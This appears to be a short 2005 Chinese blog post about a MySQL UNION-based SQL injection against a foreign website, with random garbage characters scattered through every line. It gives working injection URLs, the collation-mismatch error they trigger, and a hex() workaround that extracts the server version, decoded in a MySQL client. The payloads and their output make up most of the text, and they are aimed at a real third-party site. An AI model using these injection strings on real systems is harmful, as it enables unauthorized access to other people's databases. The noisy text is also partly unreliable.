本文作者:SuperHei0 W! l# b5 ^* j% [. P6 U
文章性质:原创
& |/ t) L$ C' L* t3 B' z% n& S发布日期:2005-10-18
. [- a( F9 R4 Q测试个国外的站时:/ p T1 P( K9 B
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
) G# |8 `+ s3 `6 U返回错误:
5 m" ^) q; y1 MIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION': S2 Q$ d0 ^& s- G8 \
MySQL Error No. 126
' a ?, P- z7 a6 l! S2 L$ F; o看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。2 l$ s" r* W2 n0 _, ?
解决办法:转为其他编码如hex。5 P) h7 w, C9 X( G! {/ o
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*0 ~5 J( `( H7 F7 p# c
成功得到hex(version())的值为:
; V2 H( I9 X6 p, X( s/ c' r342E312E332D62657461
" _4 s" ` C9 }. Y回Mysql查询下得到:8 n6 L9 F. P2 n
mysql> select 0x342E312E332D62657461;
+ [, b8 w) b) C& o0 E1 K7 A+------------------------+
) U, G" i# m- w* E# f' p0 M# K| 0x342E312E332D62657461 |
4 R7 Z8 c4 _. g _8 o- d$ @5 D+------------------------+
5 L* p: f3 c* H. J. P% |7 \| 4.1.3-beta |+ y6 P" T1 J0 N8 Q3 f$ v/ X
+------------------------+2 \7 `' _3 A) I/ H
1 row in set (0.00 sec)% n- d, E( `( N$ b7 T
5 D, t2 \1 ]4 g9 L* ?
|